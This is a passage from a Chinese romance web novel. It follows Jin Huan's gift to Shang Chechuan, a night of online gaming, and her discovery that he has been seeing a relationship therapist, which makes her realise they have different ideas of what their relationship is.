Eefi本就是腕表的老牌子,有着近两百年历史,不过自进入本世纪后,因为设计上仍旧维持上世纪风格,再加上之前经历过负债危机,反倒慢了别的品牌一步,如今在奢侈品市场上远远不如其他牌子知名度广。
文常蓝本是随口一说,现在注意到靳欢脸上有意动,当即起身拍板,“Eefi的门店在银厦C区那边,现在过去,估计要不了十五分钟。”
不过现在是下午五点多,有些堵车,她们到时已经六点过一刻。
Eefi。
见她进店就直奔男士腕表区,明显是早有目标的模样,文常蓝跟过去,打趣道,“买给你爸爸还是舅舅?”
靳欢目光在玻璃柜中流连,闻言笑着摇了摇头,“都不是。”
“男朋友?”
“不是。”
“我说呢,”文常蓝点头,“要真有男朋友让你这么费心的话,我都想看看对方长什么样子才能把你的心勾住了!”
靳欢打了个哈哈。
虽然不是男朋友,但不得不说,商澈川长得确实好看的。
至少到现在为止,她都没什么烦腻的感觉。
甚至……常看常新。
说话间,靳欢已经看中了一款。
银白色圆表盘,不大不小,蓝钢梨形指针,黑色阿拉伯镶嵌数字,皮质表带,简约大气。
她隔着柜子拍了照,发过去,“澈川哥,这个怎么样?”
京市。
饭桌上。
见人在吃饭时几次三番看手机,现在更是唇角隐有笑意,明显不像是在忙工作的样子,商澄明忍了一会儿终于忍不住了,好奇道,“哥,你女朋友吗?”
只得到一个淡淡的眼神作为回应。
没否定也没肯定,但商澄明感觉自己应该是说对了。
他偷偷试图看看手机的聊天框内容,可惜什么也没看到,反而还被警告了一眼。
他心思转了转,试探道,“哥,是上次在游轮上的那位吗?”
问完,见人没否认,商澄明大为震惊,难道他哥是来真的?自己真要有嫂子了?!
他下意识想把消息分享给靳欢八卦八卦,但拿起手机才想起,自己早就被欢欢拉黑了。
“哥,嫂子叫什么?妈知道吗?伯母知道吗?她们都见过面了吗?”
对面,根本没理会他这一串的问题。商澈川回完手机消息,起身前抬眸看了一眼过去,“既然在这边没事,就尽快回南市去。”
商澄明自是不肯。
他月前回来了一趟,就没见到欢欢,现在马上要过年了,回了南市还要全家一起去港城,那边规矩多,连出个门都麻烦,就更不可能见到欢欢了。
可是现在他根本不知道欢欢人在哪儿。
这样一想,也没了吃饭的胃口,商澄明起身跟上,“哥,你车借我开开,可以吗?”
“钥匙在进门柜子上。”
“哦哦,对了,哥,你知不知欢欢在哪儿?”
楼梯处,商澈川脚步微顿,回眸看他,“妈刚刚发消息过来,明天上午派人来接你回南市。”
翌日。
从机场回到家里,刚好下午一点。慢悠悠冲了个澡,又睡了一个多小时,靳欢才起来收拾东西。
从今天起,她就要搬回临山别墅那边住,等过完年再回来。
怕她东西多拿不完,沈云岚打电话过来,“等下去接你,自己先把东西收拾收拾。”
下午四点。
下楼后,靳欢看见停在楼下的车,颇有些惊讶。
车门打开,商澈川接过她手中东西,“还有么?
靳欢摇头。
她本以为已经到这个时间了,他应该已经回南市了。
似是看出她疑惑,商澈川主动解释道,“因为公司的事耽搁了一天。”
靳欢恍然,同时庆幸,幸好自己刚刚收拾东西时顺便把买来的表也塞了进来。
“澈川哥,那你什么时候回南市?”
“今晚。”
啊?这么仓促的吗?
商澈川看着前方,从靳欢角度,能看见他眉心一闪而过的沉意,“明天要回港城。”
涉及港城商家的事,靳欢就不想多问了。
不知道是不是察觉到她的沉默,商澈川有些歉意,“是不是打扰你心情了?”
赶在他说抱歉以前,靳欢先开口道,“那倒是没有——”
她摊了摊手,“就是感慨果然家大业大就是复杂。”
商澈川失笑,“受其利,就免不得承其重。”
这倒也是。
出生在商家,哪怕是不起眼的,一辈子也足以富贵度日了,已经是不知道多少人梦寐以求的日子。
到了临山别墅,下车后,靳欢才忽然得知他说的今晚是连晚饭都来不及吃的今晚,也就是几乎前脚送到她,后脚就要走。
甚至助理已经先一步去了机场等他。
沈云岚明显也不知情,她说要去接欢欢时,澈川这孩子说外面雪大,他去就行了,她就误认为他是晚上八九点的飞机呢。
别墅外,车子临行前,靳欢追上来敲了敲车窗。她还来不及说不用下车,商澈川就已经开了车门站在了她面前。
“怎么了?”
靳欢仰头看他,“你东西忘带了。”
商澈川惊讶,“什么东西?”
“是这个!”靳欢从羽绒服宽大的袖子里把表盒取出来,放到他手里,笑意盈盈,“新年快乐!”
看着她眼睛,商澈川忍了许久,才忍住拥人入怀的冲动。
他声音低沉,
“新年快乐。”
不止新年快乐。
而是日日快乐,日日鲜活。
……
年后。
二月十六号。
绝大多数企业都已经快要复工复业,靳欢也立马以律所要上班的理由搬回了锦月湾去住。
不过搬回的当天,因为沈维桢来了京市,她又回了临山别墅一起吃晚饭。
饭后,沈维桢开车送她回去。
她喝了一点果酒,上车后就犯困,直到后半途被手机铃声吵醒,接连几次挂断,对方仍旧打过来,靳欢不耐烦,直接关了机。
等红绿灯的间隙,沈维桢不知从哪儿掏出了一颗软糖,“谁打来的?”
靳欢口中嚼着糖果,声音含糊,“推销员。”
话未说完,头顶就被敲了下,沈维桢眼神好笑,里面明明白白写着“你看我信不信”。
靳欢“呜呜”两声,实话实说,“是商澄明。”
“你们吵架了?”
靳欢摇头,沉默了一会儿才继续开口,“我就是不想和他说话。”
喝了酒情绪有点容易上头,上一刻还好好的,这一刻就陷入低落。
“不想和他说话就不说,自己怎么还不开心起来了?”沈维桢看着她有点儿烦躁的眉眼,抬手揉了揉她头顶,“要不要去海市玩几天散散心?”
靳欢摇头,还要说话时,前面
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已经到了目的地。
“小舅舅,那我先上去了,晚安!”
说这话时,适才那点儿低落已经不见了,甚至因为想起了另外一件事还有点俏皮笑意,“小舅舅,我好像还没和你说,你今天的衣服真的帅哦!”
沈维桢一愣,回神后一脸无奈,果然不管多大,都还是个小孩子脾气。
他等着靳欢安全到楼上后给他发个消息,也不着急走,正抬头看着楼上的灯光是否亮起时,忽然看见另外一辆车停在了旁边。
从上面下来一个他认识的身影。
手中还拿着酒。
扫了一眼表,现在是晚上十点多。
沈维桢冷了脸,还未开口,对方也看见了他。
商澄明面色僵硬一瞬,下意识把手中的酒向后藏了藏。
他知道这位小舅舅在欢欢心里份量极重,本来就不敢惹。
如今见对方脸色冷着,他态度不由得更加慎重了点,走过来老老实实问好,
“沈叔叔好。”
他倒是想跟着欢欢一起喊舅舅,但奈何第一次喊时,对方就用一句“当不起”拒绝了。
问候完,看沈维桢只点了点头,并没说话,商澄明大着胆子道,“沈叔叔,我有点事找欢欢,就先上去了?”
说完久久不见人允许。
可错过今天,明天一早自己就要离开京市了。
商澄明咬咬牙,正准备不管不顾直接上去时,忽然听得车内人开了口,
“欢欢今天累了。”
商澄明犹豫一瞬,试图挣扎,“沈叔叔,我真的找欢欢有急事。”
“哦?”
对方一副等着他开口的模样,商澄明反而说不出理由来。
他怕他要是说自己是来给欢欢送酒的话,怕是直接要被沈叔叔骂一顿。
好在,对方好像也不是非要他的回答。
沈维桢抬眸看去,车窗外,青年身形高挑,眼神里带着年轻人向上的朝气和鲁莽。
目光在他手腕上的表盘一扫而过,Eefi?她年前和文常蓝一起逛街,买下的就是这块吗?
如今已经被收到者迫不及待带在了手腕上。
忍住想点支烟的冲动,再开口时,沈维桢已经懒得再和对方一言一语下去,直接道,
“原泰升前些日子找过我。”
这话出口,商澄明起初并没明白其中含义,但一触及沈维桢眼里淡淡的讽意,瞬间就白了脸。
他知道沈维桢没有说谎的必要。
而且他爸爸的确暗示过他可以讨讨欢欢的开心,借此赢得沈家的支持。
但,但他自己从未这样想过!
商澄明眼里迸发出辩解的勇气。
但下一瞬,就被沈维轻飘飘的一句话轻而易举地打散,
“等你能够做得了主再来和我解释。”
……
青年离开时的背影完全没了来时的热烈。
车灯已经全部关闭,昏暗光线下,指尖的一点猩红跃动得格外明显。
手机里,是几分钟前靳欢发过来的消息,
“小舅舅,我到啦!路上小心~”
楼上,灯光确已亮起。
沈维桢抬头看去,只觉得窗口的那点亮光似是明月,高悬空中。
不可触摸。
良久,一声叹气伴着烟一同飘散。
沈维桢,想不到你也有为了私心意气用事虚伪嘴脸的一天。
商家无论如何都轮不到原泰升做主,任他折腾,决定权都在商华手里。
但你,却拿着这种无关紧要的小事去为难一个因为缺乏经验还不具备看透事情本质的年轻人。
还打着为她好的名头。
指尖被燃尽的火丝烫到,灼疼似乎也在提醒他。
沈维桢按灭烟头,给靳欢发了消息过去,
“商澄明刚刚来找过你。”
可楼上,靳欢一时没顾得上看手机。
门开了,灯开了,但两人都还没来得及进去。
被人紧紧抱着的感觉并不舒服,靳欢下意识想要挣扎,但却因为耳边响起的疲惫声音而迟疑了一秒。
“抱歉,没有提前和你说就过来打扰你。”
42. 爱爱
说完,就主动放开了手。
靳欢适才的那点儿不舒服也随之飘散。
刚刚在门外时看不太真切,现在进了屋里她才发现他脸上的疲乏有多难掩盖。
可是过来找自己有什么用?自己又不是什么安眠药?
要她说,累了应该回去闷头大睡一觉才对,如果在家里没时间睡,那说明在她这里也没时间睡嘛。
如果是来想进行睡前运动的,那他没提前发消息问她一声可真是大错特错。
生理期,清心寡欲,她只想躺着玩手机。
她一边换鞋子,一边思绪乱飞,结果弯腰后一抬头眼前一晕险些摔倒,多亏了商澈川也在玄关处站着,伸手稳稳扶了她一把。
“要喝点姜糖汤吗?”
靳欢摇头,在家里已经喝了好几杯,不想再闻见味道。想到一半,忽然意识到了不对,惊讶转头,“你知道?”
没等他回答,她就了然过来:之前她提起过一次的。
那他怎么还过来?
许是看出她疑惑,商澈川面上多了点无奈的笑意,“我最近几天有些失眠,思来想去,好像只有这里的床上用品味道最容易让人放松。”
这话别人听着或许会感觉荒唐,但靳欢却立马有种终于遇见识货人了的眼前一亮!
她微微扬起下巴,
“这可是我自己调配的香氛。”
说这话时,骄矜从卷卷上扬的尾音中散漫流出。眼尾阴影处,带着得意的轻笑。
商澈川嗓间紧了紧,勉强忍住想要吻一吻她眼角的冲动。
垂眸掩去眸中几乎遮挡不住的贪婪,再开口时,声音已是低沉许多,“所以可以么?”
这有什么不可以的。
靳欢直接抬手一挥,准了。
反正她的床宽。
不过除了睡前运动的时候,靳欢从未和异性这样干巴巴的一起睡觉过。
她想象中应该会是干巴巴的。
实际上,等她躺在床上时,发现商澈川似乎已经疲倦到眼睛都睁不开了。
靳欢看了眼平板里已经打开的游戏页面,注备下去找找耳机时,却忽然被人按住了手腕,
“没关系。”
过了几秒钟,靳欢才“唔”了声,把抱枕拖过来靠好。
过年这段时间,她没什么事可干,经常时不时就把瑞初投资的那款游戏打开玩玩。
游戏页面已经开始,她手指在无意识点着登录奖励,目光却一而再再而三溜向了一旁——
距离她大概有成年人一臂远的距离处,商澈川呼吸平稳,似是已经真正睡熟了过去。
这还是第一次在这张床上,他比她先睡着。
床头灯暖黄的光线,把他眉骨处的隐约青意染上了一些朦胧,整个人都随之柔和起来。靳欢手心动了动,意识反应过来之前,手就已经把手机翻出来打开了相机。
忘关声音,咔嚓一声,没把睡着的人吵醒,倒是把自己吓了一跳。
再回神时,就看见游戏消息框里路学长发了消息过来,
“要现在过组队任务吗?”
他说的组队任务是一个新手双人任务,其他新手任务靳欢这些天已经陆陆续续全部过完,唯独这个,只完成了二分之一。
昨天晚上她打游戏时,路其浩提出可以帮她过,但当时太晚了,就不了了之。
靳欢犹豫了下,还是发出了组队申请。
下午睡了一下午,她现在也睡不着。
但是,她着实没想到这次的双人任务这么漫长,明明完成前面二分之一时,和瑞初一起只用了半小时就过完了所有的NPC人物。
但是现在,已经接近两个小时了,还没结束。而且不仅仅是环节多,有很多地方也开始上了难度。
为了沟通方便,早点结束,两人直接开了队内语音。
路其浩声音里有些歉意,“抱歉,我没想到我运气这么差。”
组队任务的随即小时空是他抽取的。
靳欢打了个哈欠,“没事,要是我抽,没准手气更非。”
“我记得这个时空里后面应该没有要双人配合的部分的,要不,你先点自动跟随,这样可以休息一下?”
靳欢无可无不可,按照他的指挥找到自动跟随点了下。
但一旦手闲了下来,困意反而更重了。
不知不觉中,她已经从最初的依靠在床头到几乎完全滑到了被窝里。
眼前屏幕开始出现重影,游戏人物还在动,靳欢想,看来是任务还没结束。
就眯一小会儿吧?
精神一松懈,思绪很快就开始涣散。
彻底陷入睡梦前,靳欢的最后一丝清明印象是商澈川起来喝水,看见她被灯照得皱眉,斜过身子过来抬手挡在了她眼前。
不经意触碰到她鼻尖时,他的手上除了隐隐染上的她的床品的味道外,似乎还有一丝若隐若现的水果鲜甜。
啪嗒一声。
关灯声。
失去床头灯作为主光源,平板的屏幕瞬间变得刺眼起来。
随手把亮度调低,正要拿到一旁去时,屏幕上忽然闪现出结算的画面。
两个小人一同捧着在小时空里摘的星星,旋转庆祝。
小人头顶上的昵称也跟着晃动。
“不叫芒果叫荔枝”。
“借缕清风散剑气”。
理智知晓无关联,但都是七个字也让人不爽。
商澈川眸色沉了沉,在平板内语音传来的刹那降低了音量。
陌生男人的声音带着小心翼翼的询问,“学妹,已经通关了,还要再玩一会儿吗?”
商澈川微微弯腰,确保压低的声音可以准确无误的传到对方耳朵里,
“她睡着了。”
……
“其浩?其浩?”喊了两遍见没人应声,张国宏干脆过来拍了拍路其浩的肩膀,“打完了?给你带了汉堡回来,吃点赶快休息吧,这也太晚了。”
说完,自己先打了好几个哈欠。
路其浩接过汉堡,道了谢,咬了一口,咀嚼吞咽,正要咬第二口时,却忽然被人慌乱夺走了汉堡。
他不明所以,“怎么了?”
张国宏没理他,掰开汉堡一看,指着里面的虾肉着急看他的脸色,“这个是给老周带的,其浩,你没不舒服吗?算了,别等了,快快,去医院吧——”
路其浩对虾类严重过敏,碰到蒸虾的汤汁都会迅速起疹子。
路上,张国宏开车,半途中余光看见路其浩脖子上和手腕上都已经有了片片的红点,懊恼自己拿错了汉堡,同时也疑惑不解,“你以前不是老远都能闻得出虾味吗?怎么这次这么迟钝?”
路其浩笑了下,“大概是熬夜把嗅觉熬坏了。”
张国宏平时是个大大咧咧的性子,但此刻仍旧感觉他笑里有几分不对劲,闻言沉默了半晌,又觉得气氛压抑得让人坐立不安,观察了一会儿,还是问出了口,
“你最近是不是网恋了?”
“没有。”路其浩笑了笑,“专心开车吧。”
他装作疲惫看向另外一边,路灯一盏盏从窗口划过,远处模糊群山,偶有僧僧点点的闪烁,分不清是星星,还是山上的灯光。
早该死心。
本来也就是没机会的事。
不过是意外从老师口中听得了半句连真切都算不上的闲聊,得知老师曾有过介绍自己的学生给女儿的想法,就开始不顾一切的遐想。
遐想老师的那么多个学生里,他说的是自己。
遐想在一对男女相互认识后的那么多种不同结局走向里,自己走向最完美的那一种结局。
多蠢的事情。
就如同天色晴朗,种种迹象表明并无下雨的可能,而自己因为一个“万一下雨了呢”,开始幻想雨后彩虹的颜色。
……
靳欢一觉醒来,本以为会是下午了,没想到才刚到中午十一点。
余光瞥见商澈川的外套还在衣架上放着也不惊讶,她翻身伸了个拦腰,舒舒服服把脸埋在被子上。
睡到这个点起来,还能蹭到一顿饭。
一天中美好的开局。
困意还未消散,她正要再眯一小会儿,忽然想起一件事,顿时惊坐了起来——
游戏!
万一那个小时空最后还有什么需要双人一起确认的地方,如果因为自己睡着了而错过,那岂不是前面都白打了?
她头脑懵懵,正找着平板,门忽然开了,商澈川的声音传来,“怎么了?”
靳欢抬头看去,声音闷闷的,“澈川哥,我昨晚打了个好几个小时的游戏可能白打了。”
有气无力的语气。
眼里还夹杂一些遇见糟心事的沮丧和委屈。
她很少表现出这样依赖别人的模样,现在明显是起床气还没消失。
商澈川看得心里发软,走过去将垂落的被子捡起来,面上却不动声色,“昨晚看你睡着了,就帮你先把平板收
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起来了。”
靳欢着急抓住他袖子,“那平板上最后的页面是什么样子的?”
“嗯——”
他故作回忆,床上的人就一动不动盯着他看,带着困乏水雾的眸子里满是期待。
商澈川不忍再逗她,清咳一声,“是结算页面,上面画着星星。”
话音刚落,适才还紧紧抓着他袖子的手就立马放开了。
靳欢一脑袋倒在床上,长呼一口气,
“我要再睡一会儿。”
几个字而已,说到后面就已经声音越来越小。
商澈川无奈,弯腰小心托起已经睡过去的某人的后脑勺,然后把下面乱糟糟的被子移开,放平枕头,才小心扶着人重新躺好。
一触即离的吻。
……
今年元宵节正好赶在周六。
因为下了半天大雪的缘故,吃过晚饭后,怕不好行车,靳欢和商澈川都留在了临山别墅这边睡。
二楼栏杆处,靳欢胳膊趴在上面看楼下商澈川和她爸爸说话。
说起来,上次她生理期那日后,他就出差去了,今天上午才回来。
也已经一周多了吧……
靳欢琢磨了下,正要拿出手机给楼下人发信息问问明晚有没有空,结果手机刚解锁瑞初就打了电话过来。
瑞初不喜欢元宵节,估计闷在家里烦死了,所以她打电话过来靳欢并不惊讶。
不过聊天时,瑞初提到的一件事让靳欢感觉有点眼前一黑。
瑞初说,昨天她和万妮达聊天时,偶然得知年前万妮达设计的那枚发夹好像是被一位男士买走送给他的妻子了。
从去年到今年,万妮达只开过一场发布会。
在没来及上展台就被人买走的发夹,也就只那一枚。
靳欢感觉不大妙。
她迅速找到和商澈川的聊天记录,不看不知道,一看吓一跳,从去年到现在竟然这么多消息。
打开要找的图片,点开。
这枚发夹被她带过几次就忘记放在了哪个抽屉里,但现在再看,依旧是让人眼前一亮的设计。
贝壳状刺绣,中间点缀银灰蓝珍珠。
她深吸一口气,试着理一理思绪,如果这不是万妮达的那枚,那就说明自己当时认为商澈川对自己和自己对他都是一样的见色起意逻辑环缺乏了一段。
虽然当时自己下定结论的不仅仅是因为发夹,但是少了这么一个客观事实的存在,好像其他的主观判断也都跟着不准确起来。
尤其是其中有过很多的可疑的点。
比如他去游轮上找她那次,意乱情迷之时,他咬着她耳朵,反复问她,是否是认真的。
但当时她太上头了。
以为是什么床上乐趣,直接点头,认真,认真。
认不认真?认真。
爱不爱?爱。
毕竟这些问题不就是这种回答套路嘛,谁要在高兴之时非要坚持诚恳破坏气氛呢。
被往事暴击,靳欢感觉脑子更疼了。
不管了,与其纠结,不如先明确问一问再说?
她当即从床上爬起来过去敲了门——
对方还没睡,但是头发稍微有点湿,看来是刚洗漱完。
靳欢嗓子紧了紧,“澈川哥,可以问你件事吗?”
“什么?”
“嗯……我就是想问问你之前送我的这个发夹是在哪里买的?我想再买一个,但没找到牌子。”
靳欢举起手机给他看了看。
下一瞬,就看见眼前人回忆了下开口道,“这应该是我妈的一个朋友设计的,着急吗?要不我现在打电话问问我妈?”
靳欢摇头,“不用……”
她还没死心,在心里给自己打好气,正想大不了直接问出口就是,床伴两个字是什么说不口的话吗?!
结果还没开口,室内忽然一黑。
本来刚刚酝酿好的气势,瞬间消散了七七八八。
商澈川略有些歉意的声音响起,“抱歉,不小心碰到了开关。”
靳欢迟半秒“哦”了声,见他抬手要重新打开,迅速抢先一步按住了开关。
咳咳,光线暗,没准好开口一点。
她做好了准备,但话一出口还是换了个委婉些的方法,
“澈川哥——”
“嗯?”
“你觉得我们现在是什么关系?”
她在心里催促,快说,快说出她心心念念的那两个字!
43. 春睡
但是面前人却好似还根本未曾发现她的期待,或许只当她是在无聊了寻乐子而已,配合着她打发时间,“你觉得我们现在是什么关系?”
那当然是P友——
床伴也成。
总不论是什么词,反正不是什么情侣恋人这一类。
靳欢险些脱口而出,但是一抬眸,在昏暗的光线下,触及他眼神的瞬间,忽然想起在他们还没有实质性进展时,也是在临山别墅这里,只不过是在她房间中——
她逼着他放下“假正经”时,他那个一闪而过似是被缠住不得解脱的挣扎眼神。
他那时说什么来着,
——“靳欢,这样的玩笑不好笑。”
哦,对了,那次也关了灯。
在纠缠急促地交换呼吸后,她要去开灯试图看一看他清冷破碎后是否是自己想象中的模样,却被他拦住,也是在这样的模糊视线里,男人侧脸眼眸低垂,声音近乎乞求,
“别开灯。”
靳欢想,色令智昏果真一点儿都不假。
不然她如何能忽略掉所有的不合理之处,一路昏头昏脑走到这一步。
太久的沉默。
面前人已经察觉出了不对劲,但是想错了方向——
他手背在她额头碰了碰,“是不舒服吗?”
靳欢摇头,“澈川哥,我,我觉得有件事我们之间的想法,或者说认知——”
她试图措辞严谨一些,“有点儿偏差。”
面前人眸子里浮现出疑惑,“什么事?”
靳欢暗暗深呼吸,准备酝酿好就开口说个明白——
她大脑快速运转,脑海中各种念头在环绕,
这次一定要开口。
咦?先前没注意,现在才发觉鼻尖淡淡的像是沐浴液又像是香水散发出的味道倒是不错。
不对,这都什么时候了,还想这些乱七八糟的东西。
集中精神。
集中精神。
集中精神。
默念三遍,直接开口,“澈川哥,我——”
面前人靠近了些,做好了倾听的准备。
但靳欢话音却再一次中断,她想起来是什么味道了。
年前,最后一次一起过夜时,事后,她被抱着去洗澡,在浴室里她疲倦得连手指头都懒得动一动,怕她被泡沫刺激到眼睛,面前人找尽了各种话题来试图唤起她的兴趣,借以哄着她配合一二。
其中一个就是味道。
她说以前国内有个小工作室,调过一款叫“春睡”的香水,洗澡时放几滴在无味沐浴液里,味道很好闻。
可惜后来这个小工作室不知为何解散了,那款叫“春睡”的香水也随之从市场上消失。
如今这个味道重现在她鼻尖。
多年不见,依旧熟悉。是春天,万物复苏,躺在户外的绿毯上,仿若自己也是一棵植物,被风吹得暖软,迷迷糊糊做了一个无边无际的梦。
梦中,长大啊,发芽啊,开花啊,没有压力,轻松自在,飘到哪儿就是哪儿。
面前人似乎察觉到了和她鼻翼的翕动,微微低头,让味道离她更近些,“刚刚要说什么,是很难开口吗?”
温和语气,带着关切。
第三次做好的开口的心理准备彻底溃散,靳欢匆匆留下一句“没什么”就落荒而逃。
直至逃回自己的房间,才松了口气,暗自庆幸,幸好他没有非要追问。
但是,还不如追问呢。
她躺在床上打了个滚,自己宽慰自己,或许今天不是个说开的好时机,万一两人吵起来了,回头被她爸妈发现了,岂不是更麻烦?
这般一想,适才那种丧气才稍微减缓了些。
明天,就明天,明天一定要说个明白!
手机页面闪烁了下,她拿起手机,看见是商澈川发来的消息时,一点儿也不惊讶。
他大概以为她遇见了难题,所以才发消息问询是否有需要他帮忙的。
靳欢迅速打字,打了一串又通通删掉,最后只回了“没事”两个字。
很冷淡。
最好能让他自己领会出她对他厌倦的意味。
但同一楼层的房间里,男人手中拿着冰水,看见消息发来的刹那,唇角反而多了一丝弧度。
不破不立,他早已等不及进入到下一阶段,至少不必再克制自己想要拥抱她的冲动。
……
翌日。
靳欢离开临山别墅后,连锦月湾都没回,就直接约了瑞初去澜悦。
她决定晚上等商澈川从高乔回家后,她就直接去秋华园找他。
至于今天的白天,先喝点酒放松一下。
不然如今这情况,她在家里画架前坐着也是心神难安,浪费颜料。
去澜悦要途经跨江大桥,过了桥,绕过日升大道,再开十多分钟就到了澜悦。
说起来,瑞初定期要去的那家心理医院就坐落在日升大道和江南路的交叉口处——
澜悦门口,见靳欢刚下车时明显是要把车钥匙递过来的,但是现在却久久没后续动作,工作人员小声询问,“女士,这边需要帮您停车吗?”
靳欢回神后摇摇头,看了眼时间,瑞初应该还没到,她直接启动车子掉了头。
十分钟后,车子停在了心理医院门口。
靳欢进去后,直接找到前台询问,“你好,方便问下你们这里目前有多少位心理医生吗?”
前台听见声音抬头的刹那,微微恍了下神,反应过来后立马回道,“目前是有接近一百位医生坐诊,您是想咨询那些方面,要不我先帮您预约一下时间?”
“咳,是我孩子情绪有些不对——”靳欢适时流露些许焦躁,“你们这里有医生介绍手册么?可以先让我看看吗?”
话里行间,有些对医生资历的不信任。
这样的来访者并不少见,前台倒也不惊讶,转身从一旁的报刊架上拿了医院介绍册过来,
“女士,您可以先看一下这个,里面有我们这边优秀医生的介绍。”
靳欢接过,直接靠着前台柜子就开始快速翻看。
前台在佯装看着电脑屏幕忙活,实际上目光却一而再再而三地被柜子前的人吸引过去。
刚刚第一眼就被惊艳到,现在再看,发现竟然还是越看越好看的类型。
要不是医院有规定禁止私自拍来访者的照片的话,她早就忍不住偷拍几张留作纪念了。
哎,不知道什么样的男人才配得上她,竟然结婚了还有了孩子。
前台面上微笑保持着职业素养,心里却满是好奇。
靳欢不是没注意到前台打量的目光,只是没心思理会。
册子中关于医生的介绍约莫有四十多页,得益于每一页都配了照片,才让她迅速锁定了目标页。
扫了眼男人的职业照和下面的名字“成墨”二字,靳欢把目光放在旁边的介绍上,跳过一大段的海内外院校履历,直接看到其中最为关键的那句话,
——擅长亲密关系中恋人、伴侣、夫妻关系调节与构建。
虽然来时的路上早已有所猜测,但真看到这里靳欢仍旧感觉眼前一黑。
但没准商澈川来找心理医生咨询这些不是因为自己呢?
可能是为了压垮她最后的一点儿侥幸,下一瞬,前台忽然看向不远处,“成医生,等一下,这里有份你的邮件。”
前台拿了邮件递过去,靳欢也顺着她的动
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作看过去。
男人明显还记得她,目光中惊讶一闪而过,“这次也是陪朋友来的吗?”
靳欢没回答,犹豫一瞬,反过来问道,“成医生,可以问你一个问题吗?”
落地窗前,外面白雪还未消融,白茫茫一片。
成墨轻轻颔首,等待她开口。
“可以问一下上次的那位商先生是从什么时候来找您咨询的吗?”
这话出口,靳欢其实是没抱太大希望的。
要是这种隐私都可以随意透露,那成墨就根本算不上一位合格的心理医生。
没想到的是,对方还真回忆起来,“大概是从去年十二月上旬开始的。”
十二月上旬。
正是瑞初生日过后。
哦呵。
被痛击太多次,靳欢已经有点儿麻木了。
僵硬道了声谢。
转身要走时,忽然被喊住,靳欢回眸,就看见这位成医生脸上带着温和的笑,“你是不是感觉我是个不合格的医生?”
她没开口,但有一码论一码,确实如此。
成墨却道,“但如果是别人来问,我不会说的。”
什么?靳欢疑惑一瞬,脑中忽然闪过一个念头,“你知道我是谁?”
“不知道——”成墨纠正了下说辞,“严格来说,是不知道你叫什么,但是知道你是商先生口中的那个人。”
靳欢心跳慢了几拍,“他告诉你的吗?”
成墨否定,点了点自己的脑袋,“不要小瞧一位心理医生的观察和推理能力。”
……
——商先生每次来咨询时情绪都很稳定,只有那一次,遇见你的那一次,他的情绪有所波动。
澜悦,靳欢脑子里回想起成墨最后的话,直接一口喝尽了杯中酒。
陈瑞初一进来就看见她这幅模样,吓了一跳,“怎么喝这么急啊?”
靳欢抬头看她,“我给你讲个故事吧。”
“啊?故事?好好好,我最喜欢听故事!”
靳欢清了清嗓子,
“就一对认识多年的男女,男的帮助过女的很多次,但女的为了,咳咳,为了私欲,外加判断失误,几次三番靠近男的,导致男的误认为她喜欢他,然后对女的有了好感,两人就滚了床单。这段关系中,男的以为他们是恋人,女的以为他们是P友。”
陈瑞初,“有点渣。我是说女的。”
靳欢继续补充,“并且男的因为缺乏经验,开始主动去咨询心理医生如何和恋人相处,如何构建健康的伴侣关系。”
陈瑞初,“……这女的有点渣大了。”
靳欢面无表情,“我就是那女的。”
陈瑞处一口酒直接喷了出来,一瞬间脑子里转了个八百个弯。
欢欢是故事中的人,那另一个是谁不用猜也知道了。
她往前靠了靠,“那什么,能让他感觉你们是恋爱关系,就说明你也没问题,论迹不论心嘛。”
的确可以这样强辩。
甚至如果对方不是商澈川的话,靳欢根本不会纠结,渣就渣了,反正她渣的又不止一次。
多一次又何妨。
只是对象变成了商澈川,就难以用这种理由来掩饰。
甚至于,如果对方不是商澈川的话,她刚回国那会儿何至于非要找到什么“他也见色起意”的由头才开始理直气壮。
陈瑞初明白她纠结之处。
多年好友,她知道欢欢心里其实是很看重这位半途冒出来的哥哥的。
至少欢欢对商澈川的信任,她就没在欢欢对别人的态度上见过。
“要不你就再假装和他正儿八经地谈一段,然后找个理由说不合适分手?”
44. 失控
乍听之下,倒也可行。
但靳欢抿了口酒,沉默片刻,还是摇了摇头。
她还是不喜欢这种不确定性的东西。
包括对分手时会是怎么样的进展也无法预测。
而且,带着这样目的和他相处,说实话,她也快乐不起来。
不如尽快结束的好。
陈瑞初明白她性子,闻言安慰,“商澈川性子不是一直都还挺好的,没准没你想的那么糟糕呢。”
她这可不是胡诌。
虽然她的确对商澈川有意见,但不得不说,他人还是不错的,比如,之前读高中那会,她和欢欢遇到麻烦时,只要欢欢喊人,商澈川基本都会帮忙。
靳欢脸上丧气少了些,转而问道,“有没有什么合适的东西做道歉礼?”
送奢侈品都好似太普通了些,尤其是对方一直以来对这些也根本不感兴趣。
钱?他更不缺。
其他的兴趣相关的?除了他的公司,好像根本没见他对别的什么感兴趣。
给高乔投资?恐怕想入股的人都排长队,根本轮不上自己。
太难了。
旁边,陈瑞初见靳欢苦思冥想的模样,忍不住小声问道,“宝,你有没有想过,万一你说开后,他不同意分手怎么办?”
啊?靳欢惊讶,“怎么可能?”
不分手留着干嘛?
陈瑞初也说不上来,但就是有这种担心,“他不是误认为你们在恋爱吗?”
“谈恋爱也可以分手啊,”靳欢不解,“谁会要求和一个骗自己的人继续谈恋爱嘛。”
她一脸疑惑,陈瑞初反倒是想明白了过来,提示道,“万一他喜欢你呢?”
“咳咳——”靳欢因这话被酒呛到,缓过劲来后笑得险些直不起腰来,“哪来的喜欢?顶多算是好感。”
而且能在商家那样的商业家族里有立足之地,喜欢和爱这种东西在他的脑子里应该根本排不上号。
这阴差阳错的几个月,顶多算是在他迈入商业婚姻前,自己拉着他走了一段歧途罢了。
要真论起来,他也不吃亏。
至少在床上,她也没看他冷淡。
她感觉歉意的点,一方面是确实是自己拉他下水,另一方面则是,如果她没猜错的话,这可能是他第一次谈恋爱。
嗯……至少是他认为中的谈恋爱。
以上逻辑在靳欢看来都完全没问题。
如果没有心理医生这么个离谱荒唐的存在。
是真的离谱。
她谈的那么多正儿八经的恋爱中,就没遇见过去特意咨询心理医生的。
而且还去了不止一次——
脑海里又回想起成墨的话,靳欢赶紧又要了一杯酒,压下心里最不安的猜测。
其实真要深究的话,她坚持要在商澈川面前说清楚事情首尾,其实也有希望借此彻底否定掉这种可能的想法。即使真出现了,经此一遭也可以彻底熄灭。
凡是傲气的人,应该都接受不了她这样的戏耍吧。
唉,她第一次如此期盼商澈川的那个白月光要是现在能突然出现就好了。白月光一出现,半途情缘什么的不就自然而然的烟消云散了?
要不回头打电话问问澄明?毕竟最开始得知商澈川有个白月光的事,就是澄明告诉自己的。
